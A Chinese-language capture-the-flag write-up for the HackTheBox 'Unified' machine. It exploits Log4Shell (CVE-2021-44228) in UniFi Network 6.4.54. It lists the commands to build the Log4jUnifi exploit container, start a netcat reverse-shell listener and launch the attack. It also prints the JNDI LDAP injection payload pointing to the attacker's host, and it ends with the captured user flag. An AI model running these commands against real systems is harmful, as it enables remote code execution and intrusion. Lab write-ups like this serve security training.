利用CVE-2021-44228漏洞获得Unifi Network的Shell
目标:Hackthebox的Unified实例
通过nmap工具扫描,可以获得该目标运行的端口以及服务,了解到该目标运行web应用,用https:// 10.129.232.197:8443 访问得知,似乎是一个网络设备的管理页面,根据提示,该页面为Unifi Network设备管理页面,并且版本为:6.4.54。
利用搜索引擎查找根据Unifi Network 6.4.54版本相关的漏洞,得知该版本存在漏洞:CVE-2021-44228。后文即为利用该漏洞获得对目标的shell权限,并提取到user flag。
第一步:根据下述步骤在Kali Linux安装docker
#apt update
#curl -fsSL https://download.docker.com/linux/debian/gpg | sudo apt-key add –
#echo 'deb [arch=amd64] https://download.docker.com/linux/debian buster stable' |
#sudo tee /etc/apt/sources.list.d/docker.list
#apt update
#apt remove docker docker-engine docker.io
#apt install docker-ce -y
#systemctl start docker
#systemctl enable docker
第二步:下载CVE-2021-44228漏洞利用Docker镜像
执行下述命令在kali Linux安装JDK以及maven:
#apt update && apt install openjdk-11-jre maven
#git clone --recurse-submodules https://github.com/puzzlepeaches/Log4jUnifi && cd Log4jUnifi && pip3 install -r requirements.txt
#mvn package -f utils/rogue-jndi/
下载并制作Docker Log4jUnifi
的
镜像:
#git clone --recurse-submodules https://github.com/puzzlepeaches/Log4jUnifi && cd Log4jUnifi && docker build -t log4junifi .
此时在Kali Linux 上用openVPN连接上Hackthebox,启动Unified实例,然后在kali Linux用nc启动监听:
# nc -nlvp 1234 -s 10.10.14.165
#docker run -it -v $(pwd)/loot:/Log4jUnifi/loot -p 8090:8090 -p 1389:1389 log4junifi -u https://
10.129.232.197:8443 -i 10.10.14.165 -p 1234
输出:
{"username": "${jndi:ldap://10.10.14.165:1389/o=tomcat}", "password": "log4j", "remember": "${jndi:ldap://10.10.14.165:1389/o=tomcat}", "strict":true}
成功拿到shell
并得到用户flag:
6ced1a6a89e666c0620cdb10262ba127